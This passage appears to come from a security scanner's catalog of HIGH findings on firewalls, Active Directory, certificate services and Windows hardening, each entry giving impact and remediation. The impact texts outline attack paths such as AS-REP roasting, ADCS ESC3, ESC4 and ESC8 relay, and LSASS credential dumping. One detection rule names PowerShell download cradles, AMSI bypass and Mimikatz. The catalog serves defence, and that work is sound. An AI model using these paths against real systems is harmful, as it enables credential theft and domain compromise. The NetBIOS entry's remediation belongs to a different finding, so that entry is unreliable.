CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
NIST 800-53: SC-7
HIGH BA-036 — Internal RFC-1918 Addresses Potentially Reachable Without NAT
Description: Permit rules allow traffic to private (RFC-1918) destination addresses from external zones without corresponding NAT translations, potentially exposing internal addressing.
Impact: If RFC-1918 addresses are routed externally without NAT, internal network topology is exposed. This can enable direct attacks against internal systems or reveal sensitive network design information.
Remediation: 1. Verify that NAT is configured for all rules permitting external traffic to internal RFC-1918 destinations. 2. Ensure that external routing does not leak RFC-1918 prefixes. 3. Implement NAT for all internal-to-external traffic flows.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:M/A:N
NIST 800-53: SC-7
HIGH BA-040 — BGP/OSPF Routing Protocols Permitted from External Sources
Description: BGP (TCP 179) or OSPF routing protocol traffic is permitted from external or untrusted sources. Routing protocol injection can manipulate network traffic paths.
Impact: Rogue BGP sessions or OSPF updates can redirect traffic to attacker-controlled destinations, enable man-in-the-middle attacks, or cause network-wide outages.
Remediation: 1. Block BGP (TCP 179) from untrusted sources. 2. Implement BGP authentication (MD5 or TCP-AO). 3. Implement OSPF authentication. 4. Restrict routing protocol traffic to dedicated peering addresses.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
NIST 800-53: SC-7
HIGH BA-045 — MQTT IoT Protocol Exposed (TCP 1883/8883)
Description: MQTT broker ports (TCP 1883 unencrypted or 8883 TLS) are accessible from untrusted sources. MQTT is the primary IoT messaging protocol and is frequently misconfigured without authentication.
Impact: Exposed MQTT brokers allow unauthenticated subscription to all IoT device topics, enabling surveillance, control of IoT devices, and lateral movement into IoT network segments.
Remediation: 1. Block MQTT ports from all untrusted sources. 2. Enable MQTT authentication and authorisation. 3. Use TLS-only MQTT (8883). 4. Implement MQTT topic-level access control. 5. Place MQTT broker in isolated IoT VLAN.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
NIST 800-53: SC-7
HIGH BA-048 — Cato Internet Firewall: Outbound Any-Any Permit
Description: Internet-bound traffic is permitted without application or destination restriction, bypassing CASB and URL filtering controls.
Impact: Users can reach any internet destination on any port, enabling data exfiltration and access to malicious infrastructure.
Remediation: Enable Cato CASB and URL Filtering. Define explicit application allow-lists for internet access. Block all non-approved traffic by default.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:M/A:N
NIST 800-53: SC-7
HIGH BA-050 — Cloudflare Gateway: No Default Block on Network Policy
Description: No default-deny network policy exists in Cloudflare Gateway. Traffic not matching any explicit rule is passed through.
Impact: Traffic not matching any explicit rule is permitted by default, allowing access to unclassified destinations and services.
Remediation: Add a catch-all network policy at the lowest priority that blocks all unmatched traffic.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:M/A:L
NIST 800-53: SC-7(5)
HIGH BA-052 — Cloudflare Gateway: Unrestricted SSH/RDP in Network Policy
Description: A network policy permits SSH or RDP from any source without identity conditions in Cloudflare Gateway.
Impact: Any user or device matching the network policy can access SSH/RDP endpoints without additional identity verification, defeating zero-trust principles.
Remediation: Add user/group identity conditions to all SSH/RDP rules. Consider migrating to Cloudflare Access for zero-trust remote access.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: SC-7
HIGH BA-054 — Executive Env: Personal IoT Devices Reachable from Corporate Network
Description: Rules permit traffic to/from IP ranges or ports associated with consumer IoT devices (smart TVs, streaming, home assistants). These devices typically have poor security hygiene and no patch cadence.
Impact: Nation-state actors routinely compromise executive IoT devices for intelligence gathering. Cross-segment access creates a pivot path to executive communications and data.
Remediation: 1. Create a dedicated IoT VLAN with no route to corporate. 2. Restrict IoT segment to internet-only with content filtering. 3. Block known IoT management ports (8883, 1883, 8888) from corporate. 4. Implement network access control (NAC) to enforce device placement.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:M/A:L
NIST 800-53: SC-7
HIGH BA-056 — Executive Env: No Zero-Trust Access Control for VPN/Remote Access
Description: Remote access to the executive environment relies on traditional VPN without identity-aware, device-posture-based controls. Executive accounts are high-value phishing targets.
Impact: Compromised VPN credentials grant full network access without posture validation. Executive accounts with VPN access are primary targets for credential theft and phishing campaigns.
Remediation: 1. Implement zero-trust network access (ZTNA) for all executive remote connections. 2. Require MFA with phishing-resistant methods (FIDO2/hardware token) for all access. 3. Enforce device posture checks before granting access. 4. Log and alert on all executive remote access sessions.
Effort: long_term
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L
NIST 800-53: AC-17
HIGH BA-058 — Firewall Rule Permits Traffic to Known Malicious IP ({ip})
Description: A firewall rule permits traffic with a source or destination address that is flagged as KNOWN MALICIOUS by multiple threat-intelligence sources. The IP is confirmed as malicious infrastructure (C2, botnet node, compromised host, or hijacked network).
Impact: This rule allows network traffic to/from an IP address confirmed as malicious infrastructure. Active communication with this IP may indicate an ongoing compromise, data exfiltration, or command-and-control activity.
Remediation: 1. Immediately add a deny rule for the malicious IP above this permit rule. 2. Investigate firewall logs for any traffic to/from the IP. 3. If traffic occurred, treat as a potential incident — isolate affected hosts and begin forensic analysis. 4. Review the rule to determine if it can be narrowed.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
MITRE ATT&CK: T1071 (Command and Control)
NIST 800-53: SC-7
HIGH DR-AD-002 — Active Directory: AS-REP Roastable Accounts
Description: {...} account(s) have Kerberos pre-authentication disabled (DONT_REQUIRE_PREAUTH flag). These accounts are vulnerable to AS-REP roasting, allowing offline password cracking without any prior authentication.
Impact: AS-REP roasting is more dangerous than Kerberoasting because it does not require any valid domain credentials to execute. An attacker can request encrypted AS-REP messages for these accounts from outside the domain and crack them offline. This is a common initial access technique in Active Directory attacks.
Remediation: Enable Kerberos pre-authentication on all accounts: clear the 'Do not require Kerberos preauthentication' checkbox in account properties. No legitimate scenario requires this flag for standard user accounts. Audit accounts regularly for this flag. Monitor for anomalous AS-REQ traffic (Event ID 4768 with pre-auth type 0).
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1558.004 (Credential Access)
NIST 800-53: IA-2, IA-5
PCI DSS 4: 8.3.1, 8.3.6
HIGH DR-AD-003 — Active Directory: Unconstrained Delegation
Description: {...} non-domain-controller account(s) are configured for unconstrained Kerberos delegation. These systems can impersonate any user that authenticates to them, including domain administrators.
Impact: Unconstrained delegation allows a compromised server to reuse any user's Kerberos TGT that was forwarded during authentication. An attacker who compromises a server with unconstrained delegation can capture domain admin TGTs and use them to fully compromise the domain. This is a critical privilege escalation path in Active Directory environments.
Remediation: Replace unconstrained delegation with constrained delegation or resource-based constrained delegation (RBCD). Add privileged accounts to the Protected Users group or mark them as 'Account is sensitive and cannot be delegated'. Only Domain Controllers should have unconstrained delegation.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1558 (Credential Access), T1550.003 (Lateral Movement)
NIST 800-53: AC-6, AC-17
PCI DSS 4: 7.1.1, 7.2.1
HIGH DR-AD-004 — Policy: Weak Domain Password Policy
Description: The domain password policy does not meet security best practices. Minimum password length, complexity requirements, or password history may be insufficient, allowing users to set weak or commonly guessed passwords.
Impact: A weak domain password policy applies to all domain user accounts. Short passwords without complexity requirements can be cracked rapidly via offline attacks against NTDS.dit or captured hashes. The domain password policy is the single most impactful password control in the environment.
Remediation: Increase minimum password length to 12+ characters (14+ for privileged accounts). Enable complexity requirements. Set maximum password age to 60-90 days. Enforce at least 12 passwords of history. Deploy Fine-Grained Password Policies (PSOs) for privileged tiers. Implement Azure AD Password Protection for banned password lists.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1110 (Credential Access), T1110.001 (Credential Access)
NIST 800-53: IA-5
PCI DSS 4: 8.3.6
HIGH DR-AD-011 — Active Directory: LAPS Not Deployed
Description: Local Administrator Password Solution (LAPS) is not deployed on this system or in the domain. Without LAPS, local administrator passwords are typically identical across all machines in the domain, or are never rotated, or both.
Impact: Shared local administrator passwords are the single most common lateral movement enabler in Active Directory environments. If one machine is compromised and its local admin password is recovered (via SAM dump, mimikatz, or other means), the same password grants admin access to every other machine in the domain. LAPS solves this by setting a unique, randomly generated password on each machine and rotating it automatically.
Remediation: Deploy LAPS (or Windows LAPS in Server 2025/Windows 11). Steps: 1) Extend the AD schema for LAPS attributes (ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime or Windows LAPS equivalents), 2) Install the LAPS CSE (Client-Side Extension) via GPO or SCCM, 3) Configure the LAPS GPO with password complexity, length (14+ chars), and age (30 days), 4) Set ACLs on the OU to restrict who can read the LAPS password (authorized helpdesk/admin groups only).
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1078.002 (Persistence)
NIST 800-53: IA-5, AC-2, CM-6
PCI DSS 4: 8.3.1, 8.3.5, 8.3.6
HIGH DR-ADCS-002 — ADCS: ESC2 - Overly Permissive Template
Description: A certificate template has an Extended Key Usage (EKU) of 'Any Purpose' (OID 2.5.29.37.0) or no EKU at all (which is equivalent to any purpose), AND low-privileged users can enroll. Certificates with Any Purpose or no EKU restrictions can be used for any purpose including client authentication, code signing, and subordinate CA issuance.
Impact: A certificate with 'Any Purpose' or no EKU can be used for client authentication (impersonating any user), code signing (creating trusted malicious software), or even as a subordinate CA certificate (issuing arbitrary certificates). The combination of unrestricted EKU and broad enrollment permissions creates a powerful attack vector for domain compromise.
Remediation: Replace 'Any Purpose' EKU with specific, required EKUs only (e.g., Client Authentication only if that is the purpose). Remove templates with no EKU unless operationally justified. Restrict enrollment permissions to the minimum required groups. Audit all templates for overly broad EKU settings using certipy or Certutil.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1649 (Credential Access)
NIST 800-53: AC-6, SC-17, CM-6
PCI DSS 4: 4.2.1, 7.1.1
HIGH DR-ADCS-003 — ADCS: ESC3 - Enrollment Agent Template
Description: A certificate template with the Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1) allows low-privileged users to enroll. An Enrollment Agent certificate enables the holder to request certificates on behalf of other users, including privileged accounts.
Impact: An attacker can first obtain an Enrollment Agent certificate, then use it to request certificates for any other user in the domain (e.g., Domain Admins) using a second template that allows enrollment by enrollment agents. This two-step attack achieves domain compromise by impersonating any user via certificate-based authentication.
Remediation: Restrict enrollment permissions on Enrollment Agent templates to only authorized Certificate Enrollment administrators. Configure enrollment restrictions on the CA: right-click CA > Properties > Enrollment Agents tab to restrict which enrollment agents can enroll for which templates and users. Consider disabling the Enrollment Agent template if not operationally required.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1649 (Credential Access)
NIST 800-53: AC-6, SC-17, IA-5
PCI DSS 4: 7.1.1, 8.3.1
HIGH DR-ADCS-004 — ADCS: ESC4 - Vulnerable Template ACL
Description: A certificate template's access control list (ACL) grants write permissions (WriteDACL, WriteOwner, WriteProperty, or GenericWrite) to low-privileged users or groups. This allows an attacker to modify the template configuration to introduce ESC1-ESC3 conditions.
Impact: An attacker with write access to a certificate template can modify it to enable ESC1 (add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT), change EKUs to 'Any Purpose', or enable enrollment for their own account. After modification, they exploit the newly created ESC1/ESC2/ESC3 condition for domain compromise. The template modification itself may go unnoticed without specific ADCS auditing.
Remediation: Audit all certificate template ACLs and remove write permissions for non-administrative groups. Only Enterprise Admins, Domain Admins, and designated PKI administrators should have write access to templates. Use: certutil -v -template | Select-String 'Allow.*Write'. Review and tighten ACLs via certtmpl.msc. Enable ADCS auditing to detect template modifications.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1649 (Credential Access)
NIST 800-53: AC-3, AC-6, CM-5
PCI DSS 4: 7.1.1, 7.2.1
HIGH DR-ADCS-006 — ADCS: ESC8 - NTLM Relay to HTTP Enrollment
Description: The AD Certificate Services web enrollment endpoint is accessible over HTTP (not HTTPS) and/or does not enforce Extended Protection for Authentication (EPA). This allows NTLM relay attacks where a coerced machine account authentication (e.g., via PetitPotam, PrinterBug) can be relayed to the enrollment endpoint to request a certificate as the machine.
Impact: An attacker can coerce a domain controller to authenticate to their machine (using PetitPotam, PrinterBug, or similar), then relay that authentication to the ADCS HTTP enrollment endpoint to obtain a certificate as the DC's machine account. This certificate allows the attacker to authenticate as the DC, enabling DCSync to extract all domain credentials. This is a full domain compromise path.
Remediation: Enable HTTPS on all ADCS web enrollment endpoints and disable HTTP. Enable Extended Protection for Authentication (EPA) in IIS: IIS Manager > Authentication > Windows Authentication > Advanced Settings > Extended Protection = Required. Alternatively, disable the web enrollment role entirely if not required and use certreq or autoenrollment instead. Install patches for PetitPotam (CVE-2021-36942). Enable NTLM relay mitigations: enable SMB signing, LDAP signing, and channel binding.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1187 (Credential Access), T1557.001 (Credential Access)
NIST 800-53: IA-2, SC-8, SC-23
PCI DSS 4: 4.2.1, 8.3.1
CISA KEV
HIGH DR-BRW-001 — Browser: Malicious Extension Detected ({browser})
Description: One or more browser extensions match known malicious extensions in the threat intelligence database. These extensions may be stealing credentials, injecting ads, or exfiltrating browsing data.
Impact: Malicious browser extensions can intercept all web traffic including passwords, session tokens, banking credentials, and form data. They can inject content into pages, redirect searches, cryptomine, and exfiltrate browsing history. They persist across browser restarts and are often difficult for users to identify.
Remediation: Remove the malicious extension(s) immediately. Check other browsers on the system for the same extensions. Review browsing history for credential exposure. Force password resets for any accounts accessed while the extension was installed. Deploy browser extension whitelisting via Group Policy.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 - Vulnerable and Outdated Components
MITRE ATT&CK: T1176 (Persistence)
NIST 800-53: SI-3, CM-7
PCI DSS 4: 5.2.1
HIGH DR-CMP-003 — Network Hardening: NetBIOS over TCP/IP Enabled
Description: NetBIOS over TCP/IP (NBT) is enabled on one or more network interfaces, exposing the legacy name resolution and session services on ports 137-139.
Impact: NetBIOS enables name-squatting, NBNS poisoning, and session enumeration. Attackers on the local network can intercept name resolution queries to redirect traffic, harvest credentials via NTLM relay, and enumerate shares, users, and sessions.
Remediation: Remediate all DISA STIG Category I findings immediately. These represent the highest priority security issues. Apply STIG fixes via Group Policy or SCAP compliance tools. Document any findings requiring a Plan of Action and Milestones (POA&M) if immediate remediation is not possible.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1557.001 (Credential Access)
NIST 800-53: CM-7, SC-7
PCI DSS 4: 2.2.1
HIGH DR-CRED-003 — Credential Exposure: Credential Files on Disk
Description: Files containing plaintext or easily reversible credentials were found on disk. This includes unattend.xml/autounattend.xml (deployment passwords), sysprep.xml/sysprep.inf files, web.config connection strings, applicationHost.config bindings, and/or McAfee SiteList.xml files.
Impact: These files often contain local administrator passwords, database connection strings, service account credentials, or encryption keys in cleartext or trivially reversible formats. An attacker can use these credentials for privilege escalation, database access, or lateral movement. Deployment files (unattend.xml) frequently contain the initial administrator password used during Windows installation.
Remediation: Remove or securely delete all deployment files (unattend.xml, sysprep.xml) after provisioning. Encrypt connection strings in web.config using aspnet_regiis -pe. Replace cleartext passwords in applicationHost.config with encrypted alternatives. Audit the file system for credential remnants periodically using endpoint detection rules.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: IA-5, SC-28, CM-6
PCI DSS 4: 2.2.1, 8.3.1, 8.3.2
HIGH DR-CRED-005 — Credential Exposure: Cloud Credential Files
Description: Cloud provider credential files were found on this system. This includes AWS credentials (~/.aws/credentials), Azure profiles (~/.azure/), and/or GCP service account key JSON files. These files contain access keys, tokens, or private keys that authenticate to cloud services.
Impact: Compromised cloud credentials can grant an attacker access to cloud infrastructure, including compute instances, storage buckets, databases, and IAM controls. Depending on the permissions associated with the credentials, this can lead to data exfiltration, resource hijacking (cryptomining), or full cloud account compromise. Cloud credentials are frequently over-provisioned with excessive permissions.
Remediation: Remove long-lived cloud credential files from endpoints. Use short-lived tokens via IAM roles, instance profiles, or managed identities instead. For development machines, use aws-vault, Azure CLI managed identity, or workload identity federation. Rotate any credentials that were stored on disk. Implement cloud credential scanning in CI/CD pipelines.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: IA-5, SC-28, AC-2
PCI DSS 4: 8.3.1, 8.6.3
HIGH DR-EVT-001 — Event Log: Brute Force Attack Detected
Description: Brute-force login activity detected with multiple failed authentication attempts from the same source within the past 7 days. Sources with more than 10 failures indicate automated credential guessing attacks targeting the system.
Impact: Sustained brute-force attacks may eventually succeed, especially against accounts with weak or reused passwords. Successful compromise grants the attacker interactive access to the system and may lead to lateral movement, privilege escalation, and data exfiltration.
Remediation: Implement account lockout policies (5-10 attempts), enable multi-factor authentication, and block offending source IPs at the firewall. Investigate targeted accounts for compromise indicators. Consider implementing Azure AD Smart Lockout for adaptive protection.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1110 (Credential Access)
NIST 800-53: AC-7, SI-4
PCI DSS 4: 10.3.1
HIGH DR-EVT-004 — Event Log: Suspicious PowerShell Activity
Description: PowerShell events contain suspicious patterns including encoded commands (-EncodedCommand), download cradles (Invoke-WebRequest/IEX), AMSI bypass attempts, or known offensive tool invocations such as Mimikatz or PowerView.
Impact: Suspicious PowerShell activity may indicate post-exploitation activity, malware execution, or attacker reconnaissance. PowerShell is the most commonly abused living-off-the-land tool on Windows systems.
Remediation: Investigate each suspicious PowerShell event. Check the executing user and originating process. Enable PowerShell ScriptBlock Logging, Transcription, and Constrained Language Mode. Consider deploying AppLocker or WDAC to restrict PowerShell usage to authorized administrators.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 - Injection
MITRE ATT&CK: T1059.001 (Execution)
NIST 800-53: SI-4, AU-12
PCI DSS 4: 11.4.1
HIGH DR-HDN-001 — System Hardening: UAC Disabled
Description: User Account Control (UAC) is completely disabled on this endpoint. The registry value EnableLUA under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System is set to 0.
Impact: All applications run with full administrative privileges without prompting. Malware and exploit payloads execute with elevated privileges immediately upon infection, greatly increasing the severity of any compromise.
Remediation: Re-enable UAC by setting the EnableLUA registry value to 1 at HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System. Set ConsentPromptBehaviorAdmin to at least 2 (prompt for consent on secure desktop). Apply via Group Policy: Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options > User Account Control.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1548.002 (Defense Evasion)
NIST 800-53: AC-6, CM-6
PCI DSS 4: 7.2.1
CISA KEV
HIGH DR-HDN-005 — Authentication: NTLMv1 Authentication Allowed
Description: The LAN Manager authentication level allows NTLMv1 responses, a weak authentication protocol that is trivially crackable.
Impact: NTLMv1 hashes can be cracked in seconds using rainbow tables or GPU-accelerated attacks, exposing user passwords. An attacker capturing NTLMv1 traffic on the network can recover plaintext credentials for lateral movement.
Remediation: Set LmCompatibilityLevel to 5 (Send NTLMv2 response only. Refuse LM & NTLM) at HKLM\SYSTEM\CurrentControlSet\Control\Lsa. Apply via Group Policy: Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options > Network security: LAN Manager authentication level. Test thoroughly as legacy devices may require NTLMv1.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1110.002 (Credential Access)
NIST 800-53: IA-5, SC-8
PCI DSS 4: 8.3.2
HIGH DR-HDN-006 — Authentication: LM Password Hashes Stored
Description: The system is configured to store LAN Manager (LM) hash values for passwords, a severely weak hash format.
Impact: LM hashes split passwords into two 7-character halves, are case-insensitive, and use DES without salt. They can be cracked in minutes even for complex passwords, giving an attacker who obtains the SAM database or captures authentication traffic immediate access to plaintext passwords.
Remediation: Set NoLMHash to 1 at HKLM\SYSTEM\CurrentControlSet\Control\Lsa to prevent storage of LM hashes. Apply via Group Policy: Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options > Network security: Do not store LAN Manager hash value on next password change. Force all users to change passwords after enabling.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1003.002 (Credential Access)
NIST 800-53: IA-5, SC-28
PCI DSS 4: 8.3.2
HIGH DR-HDN-009 — System Hardening: LSA Protection Not Enabled
Description: Local Security Authority (LSA) protection is not enabled. The RunAsPPL registry value is not set to 1 at HKLM\SYSTEM\CurrentControlSet\Control\Lsa.
Impact: Without LSA protection, the LSASS process can be accessed by any process running as local administrator. Attackers can dump credentials from LSASS memory using standard tools, bypassing most endpoint security controls.
Remediation: Enable LSA protection by setting RunAsPPL to 1 at HKLM\SYSTEM\CurrentControlSet\Control\Lsa. A system restart is required. Test application compatibility first as some security products may not function with PPL enabled. On Windows 11 22H2+, LSA protection is enabled by default.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1003.001 (Credential Access)
NIST 800-53: AC-6, SI-7
PCI DSS 4: 8.3.1
HIGH DR-HDN-011 — Network Hardening: LLMNR Enabled
Description: Link-Local Multicast Name Resolution (LLMNR) is enabled, allowing unauthenticated name resolution on the local network.
Impact: An attacker on the local network can respond to LLMNR queries to capture NTLMv2 hashes from connecting clients using tools like Responder. These hashes can be cracked offline or relayed to other services for unauthorized access.
Remediation: Disable LLMNR via Group Policy: Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution. Set EnableMulticast to 0 at HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient. Ensure proper DNS infrastructure is in place as a replacement.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1557.001 (Credential Access)
NIST 800-53: SC-8, CM-7
PCI DSS 4: 2.2.4
HIGH DR-HDN-017 — Endpoint Protection: Windows Defender Disabled
Description: Windows Defender Antivirus is completely disabled or not running on this endpoint with no alternative antimalware solution detected.
Impact: Without antimalware protection, all known malware including commodity threats, ransomware, and trojans can execute without detection. The system has no real-time file scanning, web filtering, or behavior monitoring.
Remediation: Re-enable Windows Defender by removing any Group Policy that disables it (DisableAntiSpyware registry key), starting the WinDefend service, and ensuring real-time protection is turned on. If a third-party antivirus is intended, verify it is properly installed and running. Ensure at minimum one antimalware solution is active at all times.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1562.001 (Defense Evasion)
NIST 800-53: SI-3, SC-7
PCI DSS 4: 5.2.1
HIGH DR-HDN-019 — Endpoint Protection: Defender Real-Time Protection Off
Description: Windows Defender is installed but real-time protection is turned off, leaving the system without active file scanning.
Impact: Files downloaded, copied, or created are not scanned until a manual or scheduled scan occurs. Malware can execute immediately upon arrival without triggering any detection, potentially running for hours or days before a scheduled scan.
Remediation: Enable real-time protection in Windows Security settings or via PowerShell: Set-MpPreference -DisableRealtimeMonitoring $false. If Group Policy is preventing this, update the policy to allow real-time protection. Verify protection is active with Get-MpComputerStatus.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1562.001 (Defense Evasion)
NIST 800-53: SI-3
PCI DSS 4: 5.2.1
HIGH DR-HDN-020 — Remote Desktop: RDP Without NLA
Description: Remote Desktop Protocol is enabled without requiring Network Level Authentication (NLA), allowing unauthenticated users to reach the RDP login screen.
Impact: Without NLA, attackers can establish RDP sessions without credentials, consuming server resources (DoS) and reaching the Windows login screen where they can attempt credential attacks. This also exposes the system to pre-authentication RDP vulnerabilities like BlueKeep.
Remediation: Enable NLA for Remote Desktop by setting UserAuthentication to 1 at HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp. Apply via Group Policy: Computer Configuration > Administrative Templates > Windows Components > Remote Desktop Services > Remote Desktop Session Host > Security > Require user authentication for remote connections by using Network Level Authentication.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1021.001 (Lateral Movement)
NIST 800-53: AC-17, IA-2
PCI DSS 4: 8.3.1
CISA KEV
HIGH DR-HDN-022 — Access Control: Anonymous Named Pipe Access
Description: Anonymous (null session) access to named pipes is permitted, allowing unauthenticated users to connect to specific named pipes on the system.
Impact: Attackers can enumerate sensitive information through named pipes without authentication, including user lists, group memberships, share lists, and security policies. This information aids in planning targeted credential attacks and privilege escalation.
Remediation: Clear the NullSessionPipes registry value at HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters and set RestrictNullSessAccess to 1. Apply via Group Policy: Network access: Restrict anonymous access to Named Pipes and Shares (Enabled).
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1087 (Discovery)
NIST 800-53: AC-14, AC-3
PCI DSS 4: 7.2.1
HIGH DR-HDN-023 — Access Control: Null Session Access
Description: The system allows null session (anonymous) connections for SAM enumeration and share enumeration.
Impact: Attackers can connect without credentials to enumerate all user accounts, groups, and network shares. This provides a complete map of the attack surface and user accounts to target for password spraying or brute force attacks.
Remediation: Set RestrictAnonymousSAM to 1 and RestrictAnonymous to 1 at HKLM\SYSTEM\CurrentControlSet\Control\Lsa. Apply via Group Policy: Network access: Do not allow anonymous enumeration of SAM accounts (Enabled) and Network access: Do not allow anonymous enumeration of SAM accounts and shares (Enabled).
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1087 (Discovery)
NIST 800-53: AC-14, AC-3
PCI DSS 4: 7.2.1
HIGH DR-HDN-039 — Authentication: Blank Passwords Permitted for Network Logon
Description: Accounts with empty passwords can authenticate over the network (SMB, RDP, WinRM). LimitBlankPasswordUse is disabled.
Impact: An attacker who discovers any account with no password set can authenticate remotely. On domain controllers this grants access to SYSVOL, NETLOGON, and potentially administrative shares.
Remediation: Set LimitBlankPasswordUse to 1 under HKLM\SYSTEM\CurrentControlSet\Control\Lsa. Audit all local and domain accounts to ensure no accounts have empty passwords.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1078.001 (Initial Access)
NIST 800-53: IA-5, AC-7
PCI DSS 4: 8.3.1, 8.3.6
HIGH DR-HDN-040 — Access Control: Anonymous Users Included in Everyone Group
Description: The Everyone security group includes anonymous (unauthenticated) connections. Any resource with Everyone permissions is accessible without credentials.
Impact: Shares, files, and objects granted to Everyone become accessible to null-session connections. This effectively removes the authentication boundary for any Everyone-permissioned resource on the system.
Remediation: Set EveryoneIncludesAnonymous to 0 under HKLM\SYSTEM\CurrentControlSet\Control\Lsa. Review all resources with Everyone permissions.
Effort: Easy
